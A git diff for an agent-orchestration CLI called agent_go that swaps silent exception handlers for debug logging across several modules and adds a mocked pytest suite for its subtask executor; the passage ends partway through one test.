diff --git a/agent_go/agents.py b/agent_go/agents.py
index 9b1e13a..6eee814 100644
--- a/agent_go/agents.py
+++ b/agent_go/agents.py
@@ -15,12 +15,15 @@
 """
 
 import json
+import logging
 from pathlib import Path
 from typing import Optional
 from dataclasses import dataclass, field
 
 __all__ = ["load_agent_type", "list_agent_types"]
 
+logger = logging.getLogger(__name__)
+
 AGENT_GO_AGENTS_DIR = Path.home() / ".agent_go" / "agents"
 AGENT_GO_AGENTS_DIR.mkdir(parents=True, exist_ok=True)
 
@@ -90,8 +93,8 @@ def load_agent_type(name: str, project_root: Optional[Path] = None) -> Optional[
                     claude_config=data.get("claude_config", {}),
                     preload_skills=data.get("preload_skills", []),
                 )
-            except (json.JSONDecodeError, Exception):
-                pass
+            except (json.JSONDecodeError, OSError, KeyError) as e:
+                logger.debug("Failed to load agent type from %s: %s", path, e)
 
     # 降级到内置类型
     builtin = _BUILTIN_AGENTS.get(name)
@@ -129,8 +132,8 @@ def list_agent_types() -> list[dict]:
                         "source": "user",
                     })
                     seen.add(name)
-                except json.JSONDecodeError:
-                    pass
+                except json.JSONDecodeError as e:
+                    logger.debug("Invalid JSON in agent file %s: %s", f, e)
 
     return result
 
diff --git a/agent_go/api.py b/agent_go/api.py
index 6a504d2..a8a052e 100644
--- a/agent_go/api.py
+++ b/agent_go/api.py
@@ -3,6 +3,8 @@
 from pathlib import Path
 from datetime import datetime
 
+logger = logging.getLogger(__name__)
+
 from .config import get_api_key, log_event, DECOMPOSE_RULES, AGENT_GO_DIR
 from .git_utils import analyze_project, get_git_info, get_resource_map
 from .skills import list_skills
@@ -74,7 +76,8 @@ def call_api(config, messages, logger):
     except urllib.error.HTTPError as e:
         try:
             err_body = e.read().decode("utf-8", errors="replace")[:500]
-        except Exception:
+        except Exception as exc:
+            logger.debug("Failed to read HTTP error body: %s", exc)
             err_body = str(e)
         log_event(logger, "api_error", {
             "provider": provider, "status_code": e.code,
@@ -312,7 +315,8 @@ def load_cached_plan(cache_key, task, config, logger):
 
     try:
         entry = json.loads(cache_file.read_text(encoding="utf-8"))
-    except (json.JSONDecodeError, OSError):
+    except (json.JSONDecodeError, OSError) as e:
+        logger.debug("Corrupt or missing cache file %s: %s", cache_file, e)
         return None
 
     ttl = config.get("cache", {}).get("plan_ttl", 86400)
@@ -324,8 +328,8 @@ def load_cached_plan(cache_key, task, config, logger):
                 cache_file.unlink(missing_ok=True)
                 logger.info(f"[缓存] 已过期，删除: {cache_key[:12]}...")
                 return None
-        except ValueError:
-            pass
+        except ValueError as e:
+            logger.debug("Invalid cache timestamp in %s: %s", cache_key[:12], e)
 
     plan = entry.get("plan")
     if not plan or not plan.get("steps"):
@@ -381,7 +385,8 @@ def _format_age(iso_str):
         elif age < 86400:
             return f"{int(age // 3600)}h前"
         return f"{int(age // 86400)}d前"
-    except Exception:
+    except Exception as e:
+        logger.debug("Failed to format age for '%s': %s", iso_str, e)
         return "?"
 
 
@@ -394,8 +399,8 @@ def list_cache_entries():
                 try:
                     e = json.loads(f.read_text(encoding="utf-8"))
                     entries.append(e)
-                except (json.JSONDecodeError, OSError):
-                    pass
+                except (json.JSONDecodeError, OSError) as e:
+                    logger.debug("Failed to read cache entry %s: %s", f, e)
     return sorted(entries, key=lambda e: e.get("meta", {}).get("created_at", ""), reverse=True)
 
 
@@ -413,6 +418,6 @@ def clean_expired_cache(config):
                 if f.exists():
                     f.unlink()
                     removed += 1
-        except ValueError:
-            pass
+        except ValueError as e:
+            logger.debug("Invalid timestamp in cache entry: %s", e)
     return removed
diff --git a/agent_go/cli.py b/agent_go/cli.py
index 64dd1fc..9ba0c5e 100644
--- a/agent_go/cli.py
+++ b/agent_go/cli.py
@@ -3,6 +3,8 @@
 from pathlib import Path
 from datetime import datetime
 
+logger = logging.getLogger(__name__)
+
 from .config import load_config, safe_input, setup_logger, AGENT_GO_DIR
 from .api import generate_plan, decompose_fallback
 from .ui import confirm_plan, plan_to_md, plan_to_subtasks, confirm_subtasks
@@ -39,6 +41,7 @@ def cmd_run():
             sys.argv.pop(pi + 1)
             sys.argv.pop(pi)
         except (IndexError, ValueError):
+            logger.debug("Invalid --parallel value, defaulting to 3")
             parallel = 3
 
     # 并发模式要求 headless（避免同时打开多个交互式 Claude Code 终端）
@@ -58,7 +61,7 @@ def cmd_run():
             sys.argv.pop(ri + 1)
             sys.argv.pop(ri)
         except (IndexError, ValueError):
-            pass
+            logger.debug("Invalid --remote flag value, ignoring")
 
     if "--issue" in sys.argv:
         try:
@@ -67,7 +70,7 @@ def cmd_run():
             sys.argv.pop(iss_idx + 1)
             sys.argv.pop(iss_idx)
         except (IndexError, ValueError):
-            pass
+            logger.debug("Invalid --issue flag value, ignoring")
 
     if "--docs" in sys.argv:
         docs_idx = sys.argv.index("--docs")
@@ -83,7 +86,7 @@ def cmd_run():
             sys.argv.pop(sk_idx + 1)
             sys.argv.pop(sk_idx)
         except (IndexError, ValueError):
-            pass
+            logger.debug("Invalid --skill flag value, ignoring")
 
     if "--agent-type" in sys.argv:
         try:
@@ -92,7 +95,7 @@ def cmd_run():
             sys.argv.pop(ag_idx + 1)
             sys.argv.pop(ag_idx)
         except (IndexError, ValueError):
-            pass
+            logger.debug("Invalid --agent-type flag value, ignoring")
 
     if len(sys.argv) < 3:
         print("Usage: agent_go run <repo-path> '<task>' [--docs <doc1,doc2>] [--skill <name>] [--agent-type <type>] [--yes] [--headless] [--issue <N>] [--parallel N] [--remote <url>]")
@@ -122,6 +125,7 @@ def cmd_run():
             task_dir.mkdir(parents=True, exist_ok=False)
             break
         except FileExistsError:
+            # 任务 ID 碰撞，重试下一轮
             time.sleep(0.01)
     else:
         task_dir.mkdir(parents=True, exist_ok=True)
@@ -274,8 +278,8 @@ def cmd_resume():
                 try:
                     r = json.loads(result_file.read_text(encoding="utf-8"))
                     results.append(r)
-                except (json.JSONDecodeError, OSError):
-                    pass
+                except (json.JSONDecodeError, OSError) as e:
+                    logger.debug("Failed to read result for %s: %s", st["id"], e)
     worktree_map = {}
     results_map = {}
     completed_ids = set()
@@ -301,13 +305,14 @@ def cmd_resume():
             pi = sys.argv.index("--parallel")
             parallel = max(1, int(sys.argv[pi + 1]))
         except (IndexError, ValueError):
+            logger.debug("Invalid --parallel value, defaulting to 3")
             parallel = 3
     if "--remote" in sys.argv:
         try:
             ri = sys.argv.index("--remote")
             remote_url = sys.argv[ri + 1]
         except (IndexError, ValueError):
-            pass
+            logger.debug("Invalid --remote flag value, ignoring")
     issue_ref = meta.get("issue", "")
 
     if auto_yes:
@@ -398,7 +403,7 @@ def cmd_review():
         try:
             pr_ref = sys.argv[sys.argv.index("--pr") + 1]
         except (IndexError, ValueError):
-            pass
+            logger.debug("Invalid --pr flag value, ignoring")
 
     prompt = "请审查当前项目的代码变更，输出审查报告。重点检查：安全性、错误处理、代码质量、潜在bug。"
     if pr_ref:
@@ -539,8 +544,8 @@ def _get_task_status(task_dir):
                     try:
                         evt = json.loads(line.split(" | ")[-1].strip())
                         current = evt.get("title", current)
-                    except Exception:
-                        pass
+                    except (json.JSONDecodeError, KeyError, IndexError):
+                        logger.debug("Failed to parse subtask_start event from log")
                     break
         progress = f"{completed}/{total}" if total > 0 else "-"
         icon = {"completed": "✅", "degraded": "⚠️", "running": "🔄", "failed": "❌", "aborted": "⏹️"}.get(status, "❓")
@@ -558,8 +563,8 @@ def _get_task_status(task_dir):
                     end = datetime.now()
                 delta = end - start
                 elapsed = f"{int(delta.total_seconds() // 60)}m{int(delta.total_seconds() % 60)}s"
-            except Exception:
-                pass
+            except ValueError:
+                logger.debug("Failed to parse elapsed time from created timestamp")
         tail_lines = _get_task_tail_lines(log_path) if verbose and status == "running" else []
         return {
             "id": task_dir.name, "icon": icon, "status": status,
@@ -623,8 +628,8 @@ def cmd_clean():
                     repo_str = meta.get("repo", "")
                     if repo_str and Path(repo_str).exists():
                         repos_to_prune.add(repo_str)
-                except (json.JSONDecodeError, OSError):
-                    pass
+                except (json.JSONDecodeError, OSError) as e:
+                    logger.debug("Failed to read meta for %s: %s", t.name, e)
         for t in tasks:
             # 读取 task_id 用于清理 tag
             meta_path = t / "meta.json"
@@ -633,8 +638,8 @@ def cmd_clean():
                 try:
                     meta = json.loads(meta_path.read_text(encoding="utf-8"))
                     task_id = meta.get("task_id", t.name)
-                except (json.JSONDecodeError, OSError):
-                    pass
+                except (json.JSONDecodeError, OSError) as e:
+                    logger.debug("Failed to read task_id from %s: %s", meta_path, e)
             _shutil.rmtree(t, ignore_errors=True)
         for repo_path in repos_to_prune:
             subprocess.run(["git", "worktree", "prune"], cwd=repo_path, capture_output=True)
diff --git a/agent_go/eval.py b/agent_go/eval.py
index 789ed93..68c1502 100644
--- a/agent_go/eval.py
+++ b/agent_go/eval.py
@@ -1,4 +1,5 @@
 import json
+import logging
 from pathlib import Path
 from datetime import datetime
 
@@ -7,6 +8,9 @@
     "aggregate_quality", "aggregate_performance", "cmd_eval",
 ]
 
+logger = logging.getLogger(__name__)
+
+
 def _read_meta(task_dir):
     path = Path(task_dir) / "meta.json"
     if not path.exists():
@@ -23,8 +27,8 @@ def _read_log_events(log_path, event_name):
             try:
                 json_part = line.split(" | ")[-1]
                 events.append(json.loads(json_part))
-            except (json.JSONDecodeError, IndexError):
-                pass
+            except (json.JSONDecodeError, IndexError) as e:
+                logger.debug("Failed to parse log event line: %s", e)
     return events
 
 
@@ -156,8 +160,8 @@ def analyze_performance(meta, log_path=None):
             first_ts = datetime.strptime(lines[0].split(" | ")[0], "%Y-%m-%d %H:%M:%S")
             last_ts = datetime.strptime(lines[-1].split(" | ")[0], "%Y-%m-%d %H:%M:%S")
             p1 = round((last_ts - first_ts).total_seconds(), 1)
-        except (ValueError, IndexError):
-            pass
+        except (ValueError, IndexError) as e:
+            logger.debug("Failed to parse log timestamps: %s", e)
     if p1 > 0:
         p6 = round(sum_duration / p1 * 100)
 
diff --git a/agent_go/git_utils.py b/agent_go/git_utils.py
index cd95236..a8eb8e4 100644
--- a/agent_go/git_utils.py
+++ b/agent_go/git_utils.py
@@ -5,6 +5,8 @@
 
 __all__ = ["analyze_project", "get_git_info", "get_resource_map"]
 
+logger = logging.getLogger(__name__)
+
 def analyze_project(repo):
     """分析项目结构，返回文件列表和关键目录。"""
     try:
@@ -16,7 +18,8 @@ def analyze_project(repo):
             result = subprocess.run(["find", ".", "-maxdepth", "2", "-type", "f"], cwd=str(repo), capture_output=True, text=True, timeout=5)
             files = result.stdout.strip().split("\n")[:30]
             return "\n".join(f.lstrip("./") for f in files)
-    except (FileNotFoundError, subprocess.SubprocessError):
+    except (FileNotFoundError, subprocess.SubprocessError) as e:
+        logger.debug("Failed to analyze project: %s", e)
         return ""
 
 def get_git_info(repo):
@@ -32,8 +35,8 @@ def get_git_info(repo):
         c = subprocess.run(["git", "rev-parse", "--short", "HEAD"], cwd=str(repo), capture_output=True, text=True, timeout=3)
         if c.returncode == 0:
             info["commit"] = c.stdout.strip()
-    except (FileNotFoundError, subprocess.SubprocessError):
-        pass
+    except (FileNotFoundError, subprocess.SubprocessError) as e:
+        logger.debug("Failed to get git info: %s", e)
     return info
 
 def _worktree_create(repo, branch, worktree_path):
diff --git a/agent_go/pipeline.py b/agent_go/pipeline.py
index b1d7fe4..d3aad22 100644
--- a/agent_go/pipeline.py
+++ b/agent_go/pipeline.py
@@ -3,6 +3,8 @@
 from pathlib import Path
 from datetime import datetime
 
+logger = logging.getLogger(__name__)
+
 from .executor import run_subtask
 from .git_utils import _set_gc_auto, _worktree_remove, _worktree_prune
 
@@ -40,6 +42,7 @@ def _on_interrupt(signum, frame):
             try:
                 os.kill(pid, signal.SIGKILL)
             except (ProcessLookupError, PermissionError):
+                # Process may have already exited between enumerate and kill
                 pass
         logger.info(f"任务已暂停 ({len(completed_ids)}/{total})，可通过 agent_go resume {task_id} 恢复")
         sys.exit(0)
diff --git a/agent_go/role_skill_map.py b/agent_go/role_skill_map.py
index c9729b7..963a40f 100644
--- a/agent_go/role_skill_map.py
+++ b/agent_go/role_skill_map.py
@@ -1,7 +1,10 @@
 import json
+import logging
 from pathlib import Path
 from fnmatch import fnmatch
 
+logger = logging.getLogger(__name__)
+
 from .config import AGENT_GO_DIR
 
 __all__ = ["load_role_skill_map", "apply_rules"]
@@ -52,8 +55,8 @@ def _load_json(path):
     if path and path.exists():
         try:
             return json.loads(path.read_text(encoding="utf-8"))
-        except (json.JSONDecodeError, OSError):
-            pass
+        except (json.JSONDecodeError, OSError) as e:
+            logger.debug("Failed to load JSON from %s: %s", path, e)
     return None
 
 
diff --git a/agent_go/skills.py b/agent_go/skills.py
index fd0f423..262ec72 100644
--- a/agent_go/skills.py
+++ b/agent_go/skills.py
@@ -15,6 +15,7 @@
 
 import re
 import json
+import logging
 from pathlib import Path
 from typing import Optional
 from dataclasses import dataclass, field
@@ -24,6 +25,8 @@
     "render_skill_for_plan", "render_skill_for_execution",
 ]
 
+logger = logging.getLogger(__name__)
+
 AGENT_GO_SKILLS_DIR = Path.home() / ".agent_go" / "skills"
 AGENT_GO_SKILLS_DIR.mkdir(parents=True, exist_ok=True)
 
@@ -76,8 +79,8 @@ def _parse_frontmatter(text: str) -> tuple[dict, str]:
             elif value.startswith("[") and value.endswith("]"):
                 try:
                     value = json.loads(value)
-                except json.JSONDecodeError:
-                    pass
+                except json.JSONDecodeError as e:
+                    logger.debug("Failed to parse JSON list in frontmatter key '%s': %s", key, e)
             frontmatter[key] = value
     return frontmatter, body.strip()
 
diff --git a/agent_go/tui.py b/agent_go/tui.py
index 41dd26d..2c31292 100644
--- a/agent_go/tui.py
+++ b/agent_go/tui.py
@@ -1,7 +1,10 @@
 import json
+import logging
 import time
 from pathlib import Path
 from datetime import datetime
+
+logger = logging.getLogger(__name__)
 from .config import AGENT_GO_DIR
 
 __all__ = ["cmd_status_tui"]
@@ -26,8 +29,9 @@ def _get_task_status(task_dir):
         if "subtask_start" in line:
             try:
                 current = json.loads(line.split(" | ")[-1]).get("title", "")
-            except Exception:
-                pass
+            except (json.JSONDecodeError, IndexError, KeyError):
+                # TUI log parsing — malformed lines are expected
+                logger.debug("Failed to parse subtask title from log line")
             break
 
     elapsed = ""
@@ -38,8 +42,9 @@ def _get_task_status(task_dir):
             end = datetime.now() if status == "running" else datetime.fromtimestamp(log_path.stat().st_mtime) if log_path.exists() else datetime.now()
             delta = end - start
             elapsed = f"{int(delta.total_seconds() // 60)}m{int(delta.total_seconds() % 60)}s"
-        except Exception:
-            pass
+        except ValueError:
+            # TUI timestamp parsing — invalid format expected in some entries
+            logger.debug("Failed to parse elapsed time from created timestamp")
 
     return {
         "id": task_dir.name, "status": status, "task": meta.get("task", "?")[:50],
@@ -181,6 +186,7 @@ def _safe_addstr(win, y, x, text, attr=0):
     try:
         win.addstr(y, x, text, attr)
     except Exception:
+        # curses addstr throws on boundary/resize — intentionally silent
         pass
 
 
diff --git a/tests/test_executor.py b/tests/test_executor.py
new file mode 100644
index 0000000..65152b7
--- /dev/null
+++ b/tests/test_executor.py
@@ -0,0 +1,903 @@
+"""测试 executor.py — run_subtask 核心逻辑
+
+所有外部调用均 mock，测试覆盖:
+  1. Headless 模式调用 _run_headless
+  2. 交互模式调用 claude subprocess
+  3. 无变更返回 status="no_changes"
+  4. 有变更返回 status="completed"
+  5. 验证失败返回 status="failed"
+  6. Skills 加载并注入 TASK.md
+  7. Agent 类型配置正确
+  8. Upstream merge 调用正确
+  9. 验证命令执行
+  10. Context 文件生成
+"""
+
+import os, json, logging
+from pathlib import Path
+from unittest.mock import patch, MagicMock, call
+
+import pytest
+
+from agent_go.executor import run_subtask
+
+
+# ═══════════════════════════════════════════════════════════════
+# 共享 fixtures
+# ═══════════════════════════════════════════════════════════════
+
+@pytest.fixture
+def temp_repo(tmp_path):
+    """创建一个模拟的 git 仓库（含 .git 目录 + 一些文件）。"""
+    repo = tmp_path / "source_repo"
+    repo.mkdir(parents=True)
+    (repo / ".git").mkdir()
+    (repo / "README.md").write_text("# Test Project", encoding="utf-8")
+    (repo / "src").mkdir()
+    (repo / "src/main.py").write_text("print('hello')", encoding="utf-8")
+    return repo
+
+
+@pytest.fixture
+def task_dir(tmp_path):
+    """模拟 ~/.agent_go/task-xxx 目录。"""
+    d = tmp_path / ".agent_go" / "task-executor-test"
+    d.mkdir(parents=True)
+    return d
+
+
+@pytest.fixture
+def fast_logger(logger):
+    """复用 conftest 的 logger fixture（不重复创建）。"""
+    return logger
+
+
+@pytest.fixture
+def basic_subtask():
+    """最小化 subtask 定义。"""
+    return {
+        "id": "sub-1",
+        "title": "基础任务",
+        "description": "执行基础操作",
+        "agent_prompt": "请修改 main.py",
+        "verification": "",
+        "risks": [],
+        "depends_on": [],
+        "skills": [],
+        "agent_type": "developer",
+    }
+
+
+# ═══════════════════════════════════════════════════════════════
+# mock 辅助函数
+# ═══════════════════════════════════════════════════════════════
+
+def make_subprocess_mock(returncode=0, stdout="", stderr=""):
+    """创建一个模拟的 subprocess.CompletedProcess。"""
+    m = MagicMock()
+    m.returncode = returncode
+    m.stdout = stdout
+    m.stderr = stderr
+    return m
+
+
+# ═══════════════════════════════════════════════════════════════
+# 测试用例
+# ═══════════════════════════════════════════════════════════════
+
+class TestRunSubtask:
+    """run_subtask 核心逻辑测试"""
+
+    @patch("agent_go.executor.load_agent_type", return_value=None)
+    @patch("agent_go.executor._run_headless")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_headless_mode(self, mock_wt_create, mock_subprocess, mock_headless,
+                           mock_load_agent, temp_repo, task_dir, fast_logger,
+                           basic_subtask):
+        """headless=True 时应调用 _run_headless"""
+        mock_wt_create.return_value = (True, "")
+        mock_subprocess.return_value = make_subprocess_mock()
+        mock_headless.return_value = make_subprocess_mock(returncode=0)
+
+        run_subtask("test-task", basic_subtask, temp_repo, task_dir,
+                    fast_logger, headless=True)
+
+        mock_headless.assert_called_once()
+        # 验证 _run_headless 的第一个参数是 TASK.md 内容
+        call_args = mock_headless.call_args
+        assert "基础任务" in call_args[0][0], "TASK.md 应包含子任务标题"
+
+    @patch("agent_go.executor.load_agent_type")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_interactive_mode(self, mock_wt_create, mock_subprocess,
+                              mock_load_agent, temp_repo, task_dir,
+                              fast_logger, basic_subtask):
+        """headless=False 时应调用 claude subprocess（非 _run_headless）"""
+        mock_wt_create.return_value = (True, "")
+        mock_load_agent.return_value = None
+        # 所有 subprocess.run 调用返回成功
+        mock_subprocess.return_value = make_subprocess_mock()
+
+        with patch("shutil.which", return_value=None):
+            run_subtask("test-task", basic_subtask, temp_repo, task_dir,
+                        fast_logger, headless=False)
+
+        # 验证 subprocess.run 被调用（用于 git 操作和 claude 启动）
+        assert mock_subprocess.called, "交互模式应通过 subprocess.run 启动 claude"
+        # 确认 _run_headless 不被导入调用（headless=False 路径）
+        # 找到包含 "claude" 的调用
+        claude_calls = [c for c in mock_subprocess.call_args_list
+                        if c.args and isinstance(c.args[0], list)
+                        and "claude" in c.args[0]]
+        assert len(claude_calls) >= 1, "应有调用 claude 命令的 subprocess.run"
+
+    @patch("agent_go.executor.load_agent_type", return_value=None)
+    @patch("agent_go.executor._run_headless")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_no_changes_status(self, mock_wt_create, mock_subprocess,
+                               mock_headless, mock_load_agent,
+                               temp_repo, task_dir, fast_logger,
+                               basic_subtask):
+        """无 git 变更时 status 应为 no_changes"""
+        mock_wt_create.return_value = (True, "")
+        mock_headless.return_value = make_subprocess_mock(returncode=0)
+
+        # git status --porcelain 返回空（无变更），其他 git 命令返回成功
+        def subprocess_side_effect(args, **kwargs):
+            cmd_str = " ".join(args) if isinstance(args, list) else str(args)
+            if "status" in cmd_str and "--porcelain" in cmd_str:
+                return make_subprocess_mock(stdout="")
+            if "diff" in cmd_str and "--stat" in cmd_str:
+                return make_subprocess_mock(stdout="")
+            return make_subprocess_mock()
+
+        mock_subprocess.side_effect = subprocess_side_effect
+
+        result = run_subtask("test-task", basic_subtask, temp_repo, task_dir,
+                             fast_logger, headless=True)
+
+        assert result["status"] == "no_changes", (
+            f"无变更时应为 no_changes，实际: {result['status']}"
+        )
+        assert result["summary"] == "无文件变更"
+
+    @patch("agent_go.executor.load_agent_type", return_value=None)
+    @patch("agent_go.executor.collect_change_stats")
+    @patch("agent_go.executor._run_headless")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_completed_status(self, mock_wt_create, mock_subprocess,
+                              mock_headless, mock_metrics, mock_load_agent,
+                              temp_repo, task_dir, fast_logger,
+                              basic_subtask):
+        """有 git 变更 + 验证通过时 status 应为 completed"""
+        mock_wt_create.return_value = (True, "")
+        mock_headless.return_value = make_subprocess_mock(returncode=0)
+        mock_metrics.return_value = {
+            "files_changed": 1, "insertions": 1, "deletions": 1,
+            "new_files": 0, "modified_files": 1, "actual_files": ["src/main.py"],
+        }
+
+        # git status --porcelain 返回有变更，diff --stat 返回变更摘要
+        def subprocess_side_effect(args, **kwargs):
+            cmd_str = " ".join(args) if isinstance(args, list) else str(args)
+            if "status" in cmd_str and "--porcelain" in cmd_str:
+                return make_subprocess_mock(stdout="M  src/main.py\n")
+            if "diff" in cmd_str and "--stat" in cmd_str:
+                return make_subprocess_mock(stdout="src/main.py | 2 +-")
+            if "numstat" in cmd_str:
+                return make_subprocess_mock(stdout="1\t1\tsrc/main.py")
+            return make_subprocess_mock()
+
+        mock_subprocess.side_effect = subprocess_side_effect
+
+        result = run_subtask("test-task", basic_subtask, temp_repo, task_dir,
+                             fast_logger, headless=True)
+
+        assert result["status"] == "completed", (
+            f"有变更时应为 completed，实际: {result['status']}"
+        )
+        assert "src/main.py" in result["summary"], (
+            f"summary 应包含变更文件名，实际: {result['summary']}"
+        )
+
+    @patch("agent_go.executor.load_agent_type", return_value=None)
+    @patch("agent_go.executor.collect_change_stats")
+    @patch("agent_go.executor._run_headless")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_failed_status(self, mock_wt_create, mock_subprocess,
+                           mock_headless, mock_metrics, mock_load_agent,
+                           temp_repo, task_dir, fast_logger,
+                           basic_subtask):
+        """_run_headless 返回非零退出码时 status 应为 failed"""
+        mock_wt_create.return_value = (True, "")
+        mock_headless.return_value = make_subprocess_mock(returncode=1, stderr="error occurred")
+        mock_metrics.return_value = {
+            "files_changed": 1, "insertions": 1, "deletions": 1,
+            "new_files": 0, "modified_files": 1, "actual_files": ["src/main.py"],
+        }
+
+        # git status --porcelain 返回有变更
+        def subprocess_side_effect(args, **kwargs):
+            cmd_str = " ".join(args) if isinstance(args, list) else str(args)
+            if "status" in cmd_str and "--porcelain" in cmd_str:
+                return make_subprocess_mock(stdout="M  src/main.py\n")
+            if "diff" in cmd_str and "--stat" in cmd_str:
+                return make_subprocess_mock(stdout="src/main.py | 2 +-")
+            return make_subprocess_mock()
+
+        mock_subprocess.side_effect = subprocess_side_effect
+
+        result = run_subtask("test-task", basic_subtask, temp_repo, task_dir,
+                             fast_logger, headless=True)
+
+        assert result["status"] == "failed", (
+            f"非零退出码应为 failed，实际: {result['status']}"
+        )
+        assert result["exit_code"] == 1
+
+    @patch("agent_go.executor.load_agent_type", return_value=None)
+    @patch("agent_go.executor._run_headless")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_task_md_created(self, mock_wt_create, mock_subprocess,
+                             mock_headless, mock_load_agent,
+                             temp_repo, task_dir, fast_logger,
+                             basic_subtask):
+        """TASK.md 应在 sub_dir 目录下被正确创建"""
+        mock_wt_create.return_value = (True, "")
+        mock_subprocess.return_value = make_subprocess_mock()
+        mock_headless.return_value = make_subprocess_mock(returncode=0)
+
+        run_subtask("test-task", basic_subtask, temp_repo, task_dir,
+                    fast_logger, headless=True)
+
+        task_md_path = task_dir / "sub-1" / "TASK.md"
+        assert task_md_path.exists(), "TASK.md 应被创建"
+        content = task_md_path.read_text(encoding="utf-8")
+        assert "基础任务" in content, "TASK.md 应包含子任务标题"
+        assert "执行基础操作" in content, "TASK.md 应包含子任务描述"
+        assert "执行指令" in content, "TASK.md 应包含 Agent Prompt 部分"
+
+    @patch("agent_go.executor.load_agent_type", return_value=None)
+    @patch("agent_go.executor._run_headless")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_context_file_created(self, mock_wt_create, mock_subprocess,
+                                  mock_headless, mock_load_agent,
+                                  temp_repo, task_dir, fast_logger,
+                                  basic_subtask):
+        """context.md 应在 sub_dir 目录下被生成"""
+        mock_wt_create.return_value = (True, "")
+        mock_subprocess.return_value = make_subprocess_mock()
+        mock_headless.return_value = make_subprocess_mock(returncode=0)
+
+        run_subtask("test-task", basic_subtask, temp_repo, task_dir,
+                    fast_logger, headless=True)
+
+        ctx_path = task_dir / "sub-1" / "context.md"
+        assert ctx_path.exists(), "context.md 应被生成"
+        content = ctx_path.read_text(encoding="utf-8")
+        assert "sub-1" in content, "context.md 应包含子任务 ID"
+        assert "基础任务" in content, "context.md 应包含子任务标题"
+
+    @patch("agent_go.executor.load_agent_type", return_value=None)
+    @patch("agent_go.executor._run_headless")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_env_variables_set(self, mock_wt_create, mock_subprocess,
+                               mock_headless, mock_load_agent,
+                               temp_repo, task_dir, fast_logger,
+                               basic_subtask):
+        """AGENT_GO_TASK_ID, AGENT_GO_SUBTASK_ID, AGENT_GO_WORKTREE 应在 env 中设置"""
+        mock_wt_create.return_value = (True, "")
+        mock_subprocess.return_value = make_subprocess_mock()
+        mock_headless.return_value = make_subprocess_mock(returncode=0)
+
+        run_subtask("test-task", basic_subtask, temp_repo, task_dir,
+                    fast_logger, headless=True)
+
+        # 从 _run_headless 调用参数中提取 env
+        call_args = mock_headless.call_args
+        env = call_args[0][2]  # 第三个位置参数是 env
+
+        assert env["AGENT_GO_TASK_ID"] == "test-task"
+        assert env["AGENT_GO_SUBTASK_ID"] == "sub-1"
+        assert "AGENT_GO_WORKTREE" in env
+        assert "sub-1" in env["AGENT_GO_WORKTREE"]
+        assert "AGENT_GO_SKILLS" in env
+
+    @patch("agent_go.executor.load_agent_type", return_value=None)
+    @patch("agent_go.executor._git_merge_upstream")
+    @patch("agent_go.executor._run_headless")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_upstream_merge(self, mock_wt_create, mock_subprocess,
+                            mock_headless, mock_merge_upstream,
+                            mock_load_agent, temp_repo, task_dir,
+                            fast_logger, basic_subtask):
+        """有 upstream_worktrees 时应调用 _git_merge_upstream"""
+        mock_wt_create.return_value = (True, "")
+        mock_subprocess.return_value = make_subprocess_mock()
+        mock_headless.return_value = make_subprocess_mock(returncode=0)
+
+        # 创建 upstream worktree 目录
+        up_dir = task_dir / "sub-up" / "work"
+        up_dir.mkdir(parents=True, exist_ok=True)
+        upstream_worktrees = {"sub-up": up_dir}
+
+        run_subtask("test-task", basic_subtask, temp_repo, task_dir,
+                    fast_logger, upstream_worktrees=upstream_worktrees,
+                    headless=True)
+
+        mock_merge_upstream.assert_called_once()
+        # 验证 merge 参数：src_worktree, dst_worktree, tag
+        merge_args = mock_merge_upstream.call_args
+        assert merge_args[0][2] == "test-task/sub-up", (
+            f"upstream tag 应为 test-task/sub-up，实际: {merge_args[0][2]}"
+        )
+
+    @patch("agent_go.executor.load_agent_type", return_value=None)
+    @patch("agent_go.executor.collect_change_stats")
+    @patch("agent_go.executor._run_headless")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
+    def test_verification_commands_executed(self, mock_wt_create, mock_subprocess,
+                                           mock_headless, mock_metrics, mock_load_agent,
+                                           temp_repo, task_dir, fast_logger):
+        """验证命令应通过 subprocess.run 执行"""
+        mock_wt_create.return_value = (True, "")
+        mock_headless.return_value = make_subprocess_mock(returncode=0)
+        mock_metrics.return_value = {
+            "files_changed": 1, "insertions": 1, "deletions": 1,
+            "new_files": 0, "modified_files": 1, "actual_files": ["src/main.py"],
+        }
+
+        verification_cmd = "python3 -c 'print(1)'"
+        subtask = {
+            "id": "sub-1",
+            "title": "验证任务",
+            "description": "执行并验证",
+            "agent_prompt": "do work",
+            "verification": verification_cmd,
+            "risks": [],
+            "depends_on": [],
+            "skills": [],
+            "agent_type": "developer",
+        }
+
+        # git status --porcelain 返回有变更，其他返回成功
+        def subprocess_side_effect(args, **kwargs):
+            cmd_str = " ".join(args) if isinstance(args, list) else str(args)
+            if "status" in cmd_str and "--porcelain" in cmd_str:
+                return make_subprocess_mock(stdout="M  src/main.py\n")
+            if "diff" in cmd_str and "--stat" in cmd_str:
+                return make_subprocess_mock(stdout="src/main.py | 2 +-")
+            if "numstat" in cmd_str:
+                return make_subprocess_mock(stdout="1\t1\tsrc/main.py")
+            return make_subprocess_mock()
+
+        mock_subprocess.side_effect = subprocess_side_effect
+
+        result = run_subtask("test-task", subtask, temp_repo, task_dir,
+                             fast_logger, headless=True)
+
+        # 验证命令被调用（shlex.split 后的列表形式）
+        verification_calls = [
+            c for c in mock_subprocess.call_args_list
+            if c.args and isinstance(c.args[0], list)
+            and "python3" in c.args[0]
+        ]
+        assert len(verification_calls) >= 1, "验证命令应通过 subprocess.run 执行"
+        assert result["verify_ok"] is True
+        assert len(result["verification_results"]) >= 1
+        assert result["verification_results"][0]["command"] == verification_cmd
+        assert result["verification_results"][0]["exit_code"] == 0
+
+    @patch("agent_go.executor.load_agent_type", return_value=None)
+    @patch("agent_go.executor.collect_change_stats")
+    @patch("agent_go.executor._run_headless")
+    @patch("subprocess.run")
+    @patch("agent_go.executor._worktree_create")
